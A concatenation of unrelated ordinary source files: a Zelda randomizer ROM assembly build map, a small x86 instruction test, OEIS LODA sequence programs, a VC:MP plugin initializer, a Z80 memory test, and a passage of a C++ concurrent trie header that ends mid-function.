incsrc itemdowngrade.asm
incsrc bugfixes.asm
incsrc darkworldspawn.asm
incsrc lampmantlecone.asm
incsrc floodgatesoftlock.asm
incsrc heartpieces.asm
incsrc npcitems.asm
incsrc utilities.asm
incsrc flipperkill.asm
incsrc previewdatacopy.asm
incsrc pendantcrystalhud.asm
incsrc potions.asm
incsrc shopkeeper.asm
incsrc bookofmudora.asm
incsrc crypto.asm
incsrc tablets.asm
incsrc rupeelimit.asm
incsrc fairyfixes.asm
incsrc rngfixes.asm
incsrc medallions.asm
incsrc inventory.asm
incsrc ganonfixes.asm
incsrc zelda.asm
incsrc maidencrystals.asm
incsrc zoraking.asm
incsrc catfish.asm
incsrc flute.asm
incsrc dungeondrops.asm
incsrc halfmagicbat.asm
incsrc newitems.asm
incsrc mantle.asm
incsrc swordswap.asm
incsrc stats.asm
incsrc scratchpad.asm
incsrc map.asm
incsrc msu.asm
incsrc dialog.asm
incsrc events.asm
incsrc entrances.asm
incsrc clock.asm
incsrc accessability.asm
incsrc heartbeep.asm
incsrc capacityupgrades.asm
incsrc timer.asm
incsrc doorframefixes.asm
incsrc music.asm
incsrc hashalphabet.asm
incsrc roomloading.asm
incsrc icepalacegraphics.asm
warnpc $A18000
org $1C8000 ; text tables for translation
incbin i18n_en.bin
warnpc $1CF356
org $A18000 ; static mapping area
incsrc framehook.asm
warnpc $A186B0
org $A186B0 ; static mapping area, do not move
incsrc hud.asm
warnpc $A18800
org $A18800 ; static mapping area
incsrc zsnes.asm
warnpc $A19000
org $A1FF00 ; static mapping area
incsrc init.asm
org $A48000 ; code bank - PUT NEW CODE HERE
incsrc glitched.asm
incsrc hardmode.asm
incsrc goalitem.asm
incsrc compasses.asm
incsrc openmode.asm
incsrc quickswap.asm
incsrc endingsequence.asm
incsrc cuccostorm.asm
incsrc compression.asm
incsrc retro.asm
incsrc dpadinvert.asm
incsrc boots.asm
incsrc fileselect.asm
incsrc playername.asm
incsrc decryption.asm
incsrc inverted.asm
incsrc invertedmaps.asm
warnpc $A58000
;org $228000 ; contrib area
org $A28000 ; contrib area
incsrc contrib.asm
org $A38000
incsrc stats/main.asm
org $308000 ; bank #$30
incsrc tables.asm
;incsrc sandbox.asm
org $318000 ; bank #$31
GFX_Mire_Bombos:
incbin 99ff1_bombos.gfx
warnpc $318800
org $318800
GFX_Mire_Quake:
incbin 99ff1_quake.gfx
warnpc $319000
org $319000
GFX_TRock_Bombos:
incbin a6fc4_bombos.gfx
warnpc $319800
org $319800
GFX_TRock_Ether:
incbin a6fc4_ether.gfx
warnpc $31A000
org $31A000
GFX_HUD_Items:
incbin c2807_v3.gfx
warnpc $31A800
org $31A800
GFX_New_Items:
incbin newitems.gfx
;incbin eventitems.gfx ; *EVENT*
warnpc $31B000
org $31B000
GFX_HUD_Main:
incbin c2e3e.gfx
warnpc $31B800
org $31B800
GFX_Hash_Alphabet:
incbin hashalphabet.chr.gfx
warnpc $31C001
org $31C000
IcePalaceFloorGfx:
incbin ice_palace_floor.bin
warnpc $31C801
org $31C800
Damage_Table:
incbin damage_table.bin
warnpc $31D001
org $31D000
FileSelectNewGraphics:
incbin fileselect.chr.gfx
warnpc $31E001
org $31E000
InvertedCastleHole: ;address used by front end. DO NOT MOVE!
incbin sheet73.gfx
warnpc $31E501
org $338000
GFX_HUD_Palette:
incbin hudpalette.pal
warnpc $348000
org $328000
Extra_Text_Table:
incsrc itemtext.asm
incsrc externalhooks.asm
;================================================================================
org $119100 ; PC 0x89100
incbin map_icons.gfx
warnpc $119401
;================================================================================
org $AF8000 ; PC 0x178000
Static_RNG: ; each line below is 512 bytes of rng
incsrc staticrng.asm
warnpc $AF8401
;================================================================================
org $AF8400
incsrc tournament.asm
incsrc eventdata.asm
warnpc $B08000
;================================================================================
;Bank Map
;$20 Code Bank
;$21 Reserved (Frame Hook & Init)
;$22 Contrib Code
;$23 Stats & Credits
;$24 Code Bank
;$29 External hooks (rest of bank not used)
;$2E Reserved for Tournament Use
;$2F Static RNG (rest is reserved for tournament use)
;$30 Main Configuration Table
;$31 Graphics Bank
;$32 Text Bank
;$33 Graphics Bank
;$37 Don't Use ZSNES Graphics
;$38 Don't Use ZSNES Graphics (continued)
;$3A reserved for downstream use
;$3B reserved for downstream use
;$3F reserved for internal debugging
;$7F5700 - $7F57FF reserved for downstream use
;================================================================================
;SRAM Map
;$70:0000 ( 4K) Game state
;$70:1000 (20K) Log entries
;$70:6000 ( 8K) Scratch buffers
;================================================================================
;org $0080DC ; <- 0xDC - Bank00.asm:179 - Kill Music
;db #$A9, #$00, #$EA
;LDA.b #$00 : NOP
;================================================================================
;org $0AC53E ; <- 5453E - Bank0A.asm:1103 - (LDA $0AC51F, X) - i have no idea what this is for anymore
;LDA.b #$7F
;NOP #2
;================================================================================
;org $05DF8B ; <- 2DF8B - Bank05.asm : 2483
;AND.w #$0100 ; allow Sprite_DrawMultiple to access lower half of sprite tiles
;================================================================================
;org $0DF8F1 ; this is required for the X-indicator in the HUD except not anymore obviously
;
;;red pendant
;db $2B, $31, $2C, $31, $3D, $31, $2E, $31
;db $2B, $25, $2C, $25, $2D, $25, $2E, $25
;
;;blue pendant
;db $2B, $31, $2C, $31, $3D, $31, $2E, $31
;db $2B, $2D, $2C, $2D, $2D, $2D, $2E, $2D
;
;;green pendant
;db $2B, $31, $2C, $31, $3D, $31, $2E, $31
;db $2B, $3D, $2C, $3D, $2D, $3D, $2E, $3D
;================================================================================
;org $00CFF2 ; 0x4FF2 - Mire H
;db GFX_Mire_Bombos>>16
;org $00D0D1 ; 0x50D1 - Mire M
;db GFX_Mire_Bombos>>8
;org $00D1B0 ; 0x51B0 - Mire L
;db GFX_Mire_Bombos
;org $00D020 ; 0x5020 - Trock H
;db GFX_TRock_Bombos>>16
;org $00D0FF ; 0x50FF - Trock M
;db GFX_TRock_Bombos>>8
;org $00D1DE ; 0x51DE - Trock L
;db GFX_TRock_Bombos
org $00D09C ; 0x509C - HUD Items H
db GFX_HUD_Items>>16
org $00D17B ; 0x517B - HUD Items M
db GFX_HUD_Items>>8
org $00D25A ; 0x525A - HUD Items L
db GFX_HUD_Items
; this used to be a pointer to a dummy file
org $00D065 ; 005065 - New Items H
db GFX_New_Items>>16
org $00D144 ; 005114 - New Items M
db GFX_New_Items>>8
org $00D223 ; 005223 - New Items L
db GFX_New_Items
org $00D09D ; 0x509D - HUD Main H
db GFX_HUD_Main>>16
org $00D17C ; 0x517C - HUD Main M
db GFX_HUD_Main>>8
org $00D25B ; 0x525B - HUD Main L
db GFX_HUD_Main
;================================================================================
org $008781
UseImplicitRegIndexedLocalJumpTable:
org $00879c
UseImplicitRegIndexedLongJumpTable:
org $008333
Vram_EraseTilemaps_triforce:
org $00893D
EnableForceBlank:
org $00D308
DecompSwordGfx:
org $00D348
DecompShieldGfx:
org $00D463
Tagalong_LoadGfx:
org $00D51B
GetAnimatedSpriteTile:
org $00D52D
GetAnimatedSpriteTile_variable:
org $00D84E
Attract_DecompressStoryGfx:
org $00E529
LoadSelectScreenGfx:
org $00F945
PrepDungeonExit:
org $00FDEE
Mirror_InitHdmaSettings:
org $01873A
Dungeon_LoadRoom:
org $02A0A8
Dungeon_SaveRoomData:
org $02A0BE
Dungeon_SaveRoomData_justKeys:
org $02B861
Dungeon_SaveRoomQuadrantData:
org $02FD8A ; 17D8A - Bank07.asm: 3732 Note: Different bank
LoadGearPalettes_bunny:
org $05A51D
Sprite_SpawnFallingItem:
org $05DF6C ; 02DF6C - Bank05.asm : 2445
Sprite_DrawMultiple:
org $05DF70 ; 02DF70 - Bank05.asm : 2454
Sprite_DrawMultiple_quantity_preset:
org $05DF75 ; 02DF75 - Bank05.asm : 2461
Sprite_DrawMultiple_player_deferred:
org $05E1A7 ; 02E1A7 - Bank05.asm : 2592
Sprite_ShowSolicitedMessageIfPlayerFacing:
org $05E1F0
Sprite_ShowMessageFromPlayerContact:
org $05E219
Sprite_ShowMessageUnconditional:
org $05FA8E
Sprite_ShowMessageMinimal:
org $05EC96
Sprite_ZeldaLong:
org $0683E6
Utility_CheckIfHitBoxesOverlapLong:
org $06A7DB
Chicken_SpawnAvengerChicken: ; returns short
org $06DC5C
Sprite_DrawShadowLong:
org $06DD40
DashKey_Draw:
org $06DBF8
Sprite_PrepAndDrawSingleLargeLong:
org $06DC00
Sprite_PrepAndDrawSingleSmallLong:
org $06EA18
Sprite_ApplySpeedTowardsPlayerLong:
org $06EAA6
Sprite_DirectionToFacePlayerLong:
org $06F12F
Sprite_CheckDamageToPlayerSameLayerLong:
org $06F86A
OAM_AllocateDeferToPlayerLong:
org $0791B3
Player_HaltDashAttackLong:
org $07999D
Link_ReceiveItem:
org $07E68F
Unknown_Method_0: ; In US version disassembly simply called "$3E6A6 IN ROM"
org $07F4AA
Sprite_CheckIfPlayerPreoccupied:
org $08C3AE
Ancilla_ReceiveItem:
org $08F710
Ancilla_SetOam_XY_Long:
org $0985E2 ; (break on $0985E4)
AddReceivedItem:
org $098BAD
AddPendantOrCrystal:
org $0993DF
AddDashTremor:
org $09AE64
Sprite_SetSpawnedCoords:
org $09AD58
GiveRupeeGift:
org $0ABA4F
OverworldMap_InitGfx:
org $0ABA99
OverworldMap_DarkWorldTilemap:
org $0ABAB9
OverworldMap_LoadSprGfx:
org $0DBA71
GetRandomInt:
org $0DBA80
OAM_AllocateFromRegionA:
org $0DBA84
OAM_AllocateFromRegionB:
org $0DBA88
OAM_AllocateFromRegionC:
org $0DBA8C
OAM_AllocateFromRegionD:
org $0DBA90
OAM_AllocateFromRegionE:
org $0DBA94
OAM_AllocateFromRegionF:
org $0DBB67
Sound_SetSfxPanWithPlayerCoords:
org $0DBB6E
Sound_SetSfx1PanLong:
org $0DBB7C
Sound_SetSfx2PanLong:
org $0DBB8A
Sound_SetSfx3PanLong:
org $0DDB7F
HUD_RefreshIconLong:
org $0DE01E ; 6E10E - equipment.asm : 787
BottleMenu_movingOn:
org $0DE346
RestoreNormalMenu:
org $0DE9C8
DrawProgressIcons: ; this returns short
org $0DED29
DrawEquipment: ; this returns short
org $0DFA78
HUD_RebuildLong:
org $0DFA88
HUD_RebuildIndoor_Palace:
org $0EEE10
Messaging_Text:
org $1BC97C:
Overworld_DrawPersistentMap16:
org $1BED03
Palette_Sword:
org $1BED29
Palette_Shield:
org $1BEDF9
Palette_ArmorAndGloves:
org $1BEE52
Palette_Hud:
org $1CFAAA
ShopKeeper_RapidTerminateReceiveItem:
org $1CF500
Sprite_NullifyHookshotDrag:
org $1CFD69
Main_ShowTextMessage:
org $1DE9B6
Filter_MajorWhitenMain:
org $1DF65D
Sprite_SpawnDynamically:
org $1DF65F
Sprite_SpawnDynamically_arbitrary:
org $1DFD4B
DiggingGameGuy_AttemptPrizeSpawn:
org $1EDE28
Sprite_GetEmptyBottleIndex: ; this is totally in sprite_bees.asm
org $1EF4E7
Sprite_PlayerCantPassThrough:
;================================================================================
|
BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
; ILD_F32m
;TEST_BEGIN_RECORDING
lea edi, [esp-0x4]
mov DWORD [edi], 0x10001
fild DWORD [edi]
mov edi, 0x0
;TEST_END_RECORDING
|
; A285960: {01->1}-transform of the Thue-Morse word A010060.
; Submitted by Jon Maiga
; 1,1,1,0,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0
mul $0,2
add $0,2
seq $0,171947 ; P-positions for game of UpMark.
div $0,2
mod $0,2
|
#include "main.h"
#include "EventHandler.h"
#include "PythonModule.h"
extern "C" EXPORT uint32_t VcmpPluginInit(PluginFuncs* pluginFunctions, PluginCallbacks* pluginCallbacks, PluginInfo* pluginInfo)
{
pluginInfo->pluginVersion = 0x105;
pluginInfo->apiMajorVersion = PLUGIN_API_MAJOR;
pluginInfo->apiMinorVersion = PLUGIN_API_MINOR;
strcpy(pluginInfo->name, "vcmp-python-plugin");
logFile = fopen("server_log.txt", "a");
vcmpFunctions = pluginFunctions;
if (pluginFunctions->structSize == sizeof(PluginFuncsNew))
haveNewFunctions = true;
vcmpCallbacks = pluginCallbacks;
if (pluginCallbacks->structSize == sizeof(PluginCallbacksNew))
haveNewCallbacks = true;
RegisterCallbacks(pluginCallbacks);
py::initialize_interpreter();
return 1;
}
|
ORG 0
MAIN
; write 0 to 0x8000
; write 0xCAFE to 0x8000
; must read back 0xCAFE
LD BC, 0H
LD (8000H), BC
LD BC, 0cafeH
LD (8000H), BC
LD HL, (8000H)
SCF
CCF
SBC HL, BC
JP Z, YES
JP NO
YES
LD A, 0FFH
FASTLOOP
OUT (0), A
JP FASTLOOP
NO
LD A, 00H
SLOWLOOP
OUT (0), A
NOP
NOP
NOP
JP SLOWLOOP
END
|
; A243036: Number of entries of length n in A240602.
; 2,1,2,1,2,2,4,1,2,2,4,2,4,4,8,1,2,2,4,2,4,4,8,2,4,4,8,4,8,8,16,1,2,2,4,2,4,4,8,2,4,4,8,4,8,8,16,2,4,4,8,4,8,8,16,4,8,8,16,8,16,16,32,1,2,2,4,2,4,4,8,2,4,4,8,4,8,8,16,2,4,4,8,4
mov $3,$0
mov $5,2
lpb $5
mov $0,$3
sub $5,1
add $0,$5
trn $0,1
seq $0,74330 ; a(n) = Sum_{k=1..n} 2^b(k) where b(k) denotes the number of 1's in the binary representation of k.
add $0,1
mov $2,$5
mul $2,$0
add $1,$2
mov $4,$0
lpe
min $3,1
mul $3,$4
sub $1,$3
sub $1,1
div $1,2
add $1,1
mov $0,$1
|
#ifndef CTRIE_HPP_INCLUDED
#define CTRIE_HPP_INCLUDED
#include <atomic>
#include <cassert>
#include <iostream>
#include <limits>
#include <memory>
#include <vector>
#include "identity.hpp"
#include "plist.hpp"
#include "simple_vector.hpp"
namespace kl_ctrie
{
template <template <class> class Alloc, class T, class... Ts>
inline T* cons(Ts&&... args)
{
Alloc<T> a;
T* ptr = a.allocate(1);
return new(ptr) T(std::forward<Ts>(args)...);
}
inline uint64_t population_count64(uint64_t w)
{
w -= (w >> 1) & 0x5555555555555555ULL;
w = (w & 0x3333333333333333ULL) + ((w >> 2) & 0x3333333333333333ULL);
w = (w + (w >> 4)) & 0x0f0f0f0f0f0f0f0fULL;
return (w * 0x0101010101010101ULL) >> 56;
}
class gen {
private:
struct inner_gen {};
std::shared_ptr<inner_gen> inner_g;
public:
gen() : inner_g(std::make_shared<inner_gen>()) {}
gen(gen& g) : inner_g(g.inner_g) {}
gen(const gen& g) : inner_g(g.inner_g) {}
gen& operator=(gen&) = delete;
gen& operator=(const gen&) = delete;
gen& operator=(gen&&) = delete;
inline bool operator==(const gen& g) const {
return inner_g.get() == g.inner_g.get();
}
};
template <typename V>
class ctrie_query_result
{
private:
bool redo;
const V* val;
ctrie_query_result(bool redo, const V* val)
: redo(redo), val(val)
{}
public:
static const ctrie_query_result<V> restart;
static const ctrie_query_result<V> not_found;
ctrie_query_result(const V* val = nullptr)
: redo(false), val(val)
{}
inline bool operator==(const ctrie_query_result& q) const
{
return redo == q.redo && val == q.val;
}
inline bool operator!=(const ctrie_query_result& q) const
{
return redo != q.redo || val != q.val;
}
inline ctrie_query_result& operator=(const V* val_)
{
val = val_;
return *this;
}
inline ctrie_query_result& operator=(const ctrie_query_result& q)
{
val = q.val;
redo = q.redo;
return *this;
}
inline operator const V*()
{
return val;
}
};
template <typename V>
const ctrie_query_result<V> ctrie_query_result<V>::restart = ctrie_query_result<V>(true, nullptr);
template <typename V>
const ctrie_query_result<V> ctrie_query_result<V>::not_found = ctrie_query_result<V>(false, nullptr);
template <typename, typename, class, template <class> class, template <class> class>
class ctrie;
template <typename, typename, class, template <class> class, template <class> class>
struct inode;
template <typename, typename, class, template <class> class, template <class> class>
struct cnode;
template <typename, typename, class, template <class> class, template <class> class>
struct tnode;
template <typename, typename, class, template <class> class, template <class> class>
struct lnode;
template <typename, typename, class, template <class> class, template <class> class>
struct prev_node {
virtual ~prev_node() {}
virtual void* derived_ptr() = 0;
};
template <typename, typename, class, template <class> class, template <class> class>
struct branch;
// change to use custom vector types.
template <typename K,
typename V,
class Hash,
template <class> class Alloc,
template <class> class Barrier = identity>
using branch_vector = simple_vector<Barrier<branch<K, V, Hash, Alloc, Barrier>*>, Alloc<Barrier<branch<K, V, Hash, Alloc, Barrier>*>>>;
template <typename K,
typename V,
class Hash,
template <class> class Alloc,
template <class> class Barrier = identity>
struct main_node : prev_node<K, V, Hash, Alloc, Barrier> {
Barrier<std::atomic<prev_node<K, V, Hash, Alloc, Barrier>*>> prev;
main_node() : prev(nullptr) {}
virtual ~main_node() {}
virtual branch<K, V, Hash, Alloc, Barrier>* in_resurrect(inode<K, V, Hash, Alloc, Barrier>*) = 0;
virtual ctrie_query_result<V> lookup(ctrie<K, V, Hash, Alloc, Barrier>&,
K&,
typename Hash::result_type,
int,
inode<K, V, Hash, Alloc, Barrier>*,
inode<K, V, Hash, Alloc, Barrier>*,
gen) = 0;
virtual bool insert(ctrie<K, V, Hash, Alloc, Barrier>&,
K&,
V&,
typename Hash::result_type,
int,
inode<K, V, Hash, Alloc, Barrier>*,
inode<K, V, Hash, Alloc, Barrier>*,
gen) = 0;
virtual ctrie_query_result<V> remove(ctrie<K, V, Hash, Alloc, Barrier>&,
K&,
V*,
typename Hash::result_type,
int,
inode<K, V, Hash, Alloc, Barrier>*,
inode<K, V, Hash, Alloc, Barrier>*,
gen) = 0;
virtual void* derived_ptr() = 0;
};
template <typename K,
typename V,
class Hash,
template <class> class Alloc,
template <class> class Barrier = identity>
struct failure : prev_node<K, V, Hash, Alloc, Barrier> {
Barrier<main_node<K, V, Hash, Alloc, Barrier>*> prev;
failure(Barrier<main_node<K, V, Hash, Alloc, Barrier>*> prev_)
: prev(prev_)
{}
void* derived_ptr()
{
return reinterpret_cast<void*>(this);
}
};
template <typename K,
typename V,
class Hash,
template <class> class Alloc,
template <class> class Barrier = identity>
struct branch {
virtual ~branch() {}
virtual main_node<K, V, Hash, Alloc, Barrier>* in_to_contracted(bool&) = 0;
virtual void in_renewed(gen,
ctrie<K, V, Hash, Alloc, Barrier>&,
Barrier<branch<K, V, Hash, Alloc, Barrier>*>&,
cnode<K, V, Hash, Alloc, Barrier>*) = 0;
virtual ctrie_query_result<V> lookup(ctrie<K, V, Hash, Alloc, Barrier>&,
K&,
typename Hash::result_type,
int,
inode<K, V, Hash, Alloc, Barrier>*,
inode<K, V, Hash, Alloc, Barrier>*,
cnode<K, V, Hash, Alloc, Barrier>*,
gen) = 0;
virtual void compressed(ctrie<K, V, Hash, Alloc, Barrier>&,
Barrier<branch<K, V, Hash, Alloc, Barrier>*>&,
cnode<K, V, Hash, Alloc, Barrier>* cn) = 0;
virtual void* derived_ptr() = 0;
};
template <typename K,
typename V,
class Hash,
template <class> class Alloc,
template <class> class Barrier = identity>
struct snode : branch<K, V, Hash, Alloc, Barrier> {
const K k;
const V v;
typename Hash::result_type const hc;
snode(const K& k_, const V& v_, typename Hash::result_type const hc_)
: k(k_), v(v_), hc(hc_)
{}
ctrie_query_result<V> lookup(ctrie<K, V, Hash, Alloc, Barrier>&,
K& k_,
typename Hash::result_type hc_,
int,
inode<K, V, Hash, Alloc, Barrier>*,
inode<K, V, Hash, Alloc, Barrier>*,
cnode<K, V, Hash, Alloc, Barrier>*,
gen)
{
if(hc == hc_ && k == k_) {
return &v;
} else
return ctrie_query_result<V>::not_found;
}
void in_renewed(gen,
ctrie<K, V, Hash, Alloc, Barrier>&,
Barrier<branch<K, V, Hash, Alloc, Barrier>*>& narr,
cnode<K, V, Hash, Alloc, Barrier>* cn)
{
narr.write(reinterpret_cast<void*>(cn), this);
}
void compressed(ctrie<K, V, Hash, Alloc, Barrier>&,
Barrier<branch<K, V, Hash, Alloc, Barrier>*>& b,
cnode<K, V, Hash, Alloc, Barrier>* cn)
{
b.write(reinterpret_cast<void*>(cn), this);
}
tnode<K, V, Hash, Alloc, Barrier>* copy_tombed()
{
return cons<Alloc, tnode<K, V, Hash, Alloc, Barrier>>(this);
}
main_node<K, V, Hash, Alloc, Barrier>* in_to_contracted(bool& in_snode)
{
in_snode = true;
return copy_tombed();
}
void* derived_ptr()
{
return reinterpret_cast<void*>(this);
}
};
template <typename K,
typename V,
class Hash,
template <class> class Alloc,
template <class> class Barrier = identity>
struct tnode : main_node<K, V, Hash, Alloc, Barrier> {
const snode<K, V, Hash, Alloc, Barrier>* sn;
tnode(const snode<K, V, Hash, Alloc, Barrier>* sn_)
: sn(sn_)
{}
inline snode<K, V, Hash, Alloc, Barrier>* copy_untombed()
{
return cons<Alloc, snode<K, V, Hash, Alloc, Barrier>>(sn->k, sn->v, sn->hc);
}
ctrie_query_result<V> lookup(ctrie<K, V, Hash, Alloc, Barrier>& ct,
K& k,
typename Hash::result_type hc,
int lev,
inode<K, V, Hash, Alloc, Barrier>* i,
inode<K, V, Hash, Alloc, Barrier>* parent,
gen)
{
if(!ct.is_read_only()) {
i->clean(parent, ct, lev - 6);
return ctrie_query_result<V>::restart;
} else {
if(sn->hc == hc && sn->k == k)
return &sn->v;
else
return ctrie_query_result<V>::not_found;
}
}
bool insert(ctrie<K, V, Hash, Alloc, Barrier>& ct,
K&,
V&,
typename Hash::result_type,
int lev,
inode<K, V, Hash, Alloc, Barrier>* i,
inode<K, V, Hash, Alloc, Barrier>* parent,
gen)
{
i->clean(parent, ct, lev - 6);
return false;
}
ctrie_query_result<V> remove(ctrie<K, V, Hash, Alloc, Barrier>& ct,
K&,
V*,
typename Hash::result_type,
int lev,
inode<K, V, Hash, Alloc, Barrier>* i,
inode<K, V, Hash, Alloc, Barrier>* parent,
gen)
{
i->clean(parent, ct, lev - 6);
return ctrie_query_result<V>::restart;
}
branch<K, V, Hash, Alloc, Barrier>* in_resurrect(inode<K, V, Hash, Alloc, Barrier>*)
{
return copy_untombed();
}
void* derived_ptr()
{
return reinterpret_cast<void*>(this);
}
};
template <typename K,
typename V,
class Hash,
template <class> class Alloc,
template <class> class Barrier = identity>
branch<K, V, Hash, Alloc, Barrier>* resurrect(inode<K, V, Hash, Alloc, Barrier>* inode,
main_node<K, V, Hash, Alloc, Barrier>* inodemain)
{
return inodemain->in_resurrect(inode);
}
template <typename K,
typename V,
class Hash,
template <class> class Alloc,
template <class> class Barrier = identity>
struct cnode : main_node<K, V, Hash, Alloc, Barrier> {
uint64_t bmp;
branch_vector<K, V, Hash, Alloc, Barrier> arr;
const gen g;
cnode(uint64_t bmp_, const gen& g_)
: bmp(bmp_), g(g_)
{}
cnode(uint64_t bmp_, branch_vector<K, V, Hash, Alloc, Barrier>&& arr_, const gen& g_)
: bmp(bmp_), arr(std::move(arr_)), g(g_)
{}
cnode<K, V, Hash, Alloc, Barrier>* updated_at(uint64_t pos,
branch<K, V, Hash, Alloc, Barrier>* nn,
gen g_)
{
branch_vector<K, V, Hash, Alloc, Barrier> narr(arr);
auto cn = cons<Alloc, cnode<K, V, Hash, Alloc, Barrier>>(bmp, g_);
narr[pos].write(reinterpret_cast<void*>(cn), nn);
cn->arr = std::move(narr);
return cn;
}
cnode<K, V, Hash, Alloc, Barrier>* removed_at(uint64_t pos, uint64_t flag, gen g_)
{
branch_vector<K, V, Hash, Alloc, Barrier> narr;
narr.reserve(arr.size() - 1);
std::copy(arr.begin(),
arr.begin() + pos,
std::back_inserter<decltype(arr)>(narr));
std::copy(arr.begin() + pos + 1,
arr.end(),
std::back_inserter<decltype(arr)>(narr));
return cons<Alloc, cnode<K, V, Hash, Alloc, Barrier>>(bmp ^ flag, std::move(narr), g_);
}
cnode<K, V, Hash, Alloc, Barrier>* inserted_at(uint64_t pos,
uint64_t flag,
branch<K, V, Hash, Alloc, Barrier>* nn,
gen g_)
{
branch_vector<K, V, Hash, Alloc, Barrier> narr;
narr.reserve(arr.size() + 1);
std::copy(arr.begin(),
arr.begin() + pos,
std::back_inserter<decltype(arr)>(narr));
narr.push_back(nn);
std::copy(arr.begin() + pos,
arr.end(),
std::back_inserter<decltype(arr)>(narr));
return cons<Alloc, cnode<K, V, Hash, Alloc, Barrier>>(bmp | flag, std::move(narr), g_);
}
cnode<K, V, Hash, Alloc, Barrier>* renewed(const gen& ngen, ctrie<K, V, Hash, Alloc, Barrier>& ct)
{
branch_vector<K, V, Hash, Alloc, Barrier> narr(arr.size());
auto cn = cons<Alloc, cnode<K, V, Hash, Alloc, Barrier>>(bmp, ngen);
for(size_t i = 0; i < arr.size(); ++i)
arr[i]->in_renewed(ngen, ct, narr[i], cn);
cn->arr = std::move(narr);
return cn;
}
branch<K, V, Hash, Alloc, Barrier>* in_resurrect(inode<K, V, Hash, Alloc, Barrier>* in)
{
return in;
}
main_node<K, V, Hash, Alloc, Barrier>* to_contracted(int lev)
{
if(arr.size() == 1 && lev > 0) {
bool in_snode;
auto result = arr[0]->in_to_contracted(in_snode);
if(in_snode)
return result;
}
return this;
}
cnode<K, V, Hash, Alloc, Barrier>* to_compressed(ctrie<K, V, Hash, Alloc, Barrier>& ct,
int lev,
gen g_)
{
branch_vector<K, V, Hash, Alloc, Barrier> tmp_arr(arr.size());
auto cn = cons<Alloc, cnode<K, V, Hash, Alloc, Barrier>>(bmp, g_);
for(size_t i = 0; i < arr.size(); ++i)
arr[i]->compressed(ct, tmp_arr[i], cn);
cn->arr = std::move(tmp_arr);
cn->to_contracted(lev);
return cn;
}
static main_node<K, V, Hash, Alloc, Barrier>* dual(snode<K, V, Hash, Alloc, Barrier>* x,
uint64_t xhc,
snode<K, V, Hash, Alloc, Barrier>* y,
uint64_t yhc,
int lev,
gen g_)
{
if(lev < 66) {
uint64_t xidx = (xhc >> lev) & ctrie<K, V, Hash, Alloc, Barrier>::hash_mask;
uint64_t yidx = (yhc >> lev) & ctrie<K, V, Hash, Alloc, Barrier>::hash_mask;
uint64_t bmp = (1ULL << xidx) | (1ULL << yidx);
if(xidx == yidx) {
auto subinode_main = dual(x, xhc, y, yhc, lev + 6, g_);
auto subinode = cons<Alloc, inode<K, V, Hash, Alloc, Barrier>>(subinode_main, g_);
return cons<Alloc, cnode<K, V, Hash, Alloc, Barrier>>(bmp,
branch_vector<K, V, Hash, Alloc, Barrier>({subinode}),
g_);
} else {
if(xidx < yidx)
return cons<Alloc, cnode<K, V, Hash, Alloc, Barrier>>(bmp,
branch_vector<K, V, Hash, Alloc, Barrier>({x, y}),
g_);
else
return cons<Alloc, cnode<K, V, Hash, Alloc, Barrier>>(bmp,
branch_vector<K, V, Hash, Alloc, Barrier>({y, x}),
g_);
}
} else {
std::initializer_list<snode<K, V, Hash, Alloc, Barrier>> init({*x, *y});
return cons<Alloc, lnode<K, V, Hash, Alloc, Barrier>>(init);
}
}
bool insert(ctrie<K, V, Hash, Alloc, Barrier>& ct,
K& k,
V& v,
typename Hash::result_type hc,
int lev,
inode<K, V, Hash, Alloc, Barrier>* i,
inode<K, V, Hash, Alloc, Barrier>* parent,
gen start_gen)
{
uint64_t idx = (hc >> lev) & ctrie<K, V, Hash, Alloc, Barrier>::hash_mask;
uint64_t flag = 1ULL << idx;
uint64_t mask = flag - 1;
uint64_t pos = population_count64(bmp & mask);
if((bmp & flag) != 0) {
auto target = arr[pos].get();
if(auto in = dynamic_cast<inode<K, V, Hash, Alloc, Barrier>*>(target))
{
if(start_gen == in->g) {
return ct.insert(in, k, v, hc, lev + 6, i, start_gen);
} else {
if(i->gcas(this, renewed(start_gen, ct), ct))
return insert(ct, k, v, hc, lev, i, parent, start_gen);
else
return false;
}
} else {
auto sn = reinterpret_cast<snode<K, V, Hash, Alloc, Barrier>*>(target);
if(sn->hc == hc && sn->k == k) {
auto nn = updated_at(pos,
cons<Alloc, snode<K, V, Hash, Alloc, Barrier>>(k, v, hc),
i->g);
auto result = i->gcas(this, nn, ct);
return result;
} else {
auto rn = g == i->g ? this : renewed(i->g, ct);
auto nn =
rn->updated_at(pos,
cons<Alloc, inode<K, V, Hash, Alloc, Barrier>>(cnode::dual(sn,
sn->hc,
cons<Alloc, snode<K, V, Hash, Alloc, Barrier>>(k, v, hc),
hc,
lev + 6,
i->g),
i->g),
g);
return i->gcas(this, nn, ct);
}
}
} else {
auto rn = g == i->g ? this : renewed(i->g, ct);
auto ncnode = rn->inserted_at(pos,
flag,
cons<Alloc, snode<K, V, Hash, Alloc, Barrier>>(k, v, hc),
i->g);
return i->gcas(this, ncnode, ct);
}
}
ctrie_query_result<V> remove(ctrie<K, V, Hash, Alloc, Barrier>& ct,
K& k,
V* v,
typename Hash::result_type hc,
int lev,
inode<K, V, Hash, Alloc, Barrier>* i,
inode<K, V, Hash, Alloc, Barrier>* parent,
gen start_gen)
{
uint64_t idx = (hc >> lev) & ctrie<K, V, Hash, Alloc, Barrier>::hash_mask;
uint64_t flag = 1ULL << idx;
ctrie_query_result<V> res;
if((bmp & flag) == 0)
return ctrie_query_result<V>::not_found;
else {
uint64_t pos = population_count64(bmp & (flag - 1));
auto target = arr[pos].get();
if(auto in = dynamic_cast<inode<K, V, Hash, Alloc, Barrier>*>(target)) {
if(start_gen == in->g)
res = ct.remove(in, k, v, hc, lev + 6, i, start_gen);
else {
if(i->gcas(this, renewed(start_gen, ct), ct))
res = remove(ct, k, v, hc, lev, i, parent, start_gen);
else
res = ctrie_query_result<V>::restart;
}
} else {
auto sn = reinterpret_cast<snode<K, V, Hash, Alloc, Barrier>*>(target);
if(sn->hc == hc && sn->k == k && (!v || sn->v == *v)) {
auto ncn = removed_at(pos, flag, i->g)->to_contracted(lev);
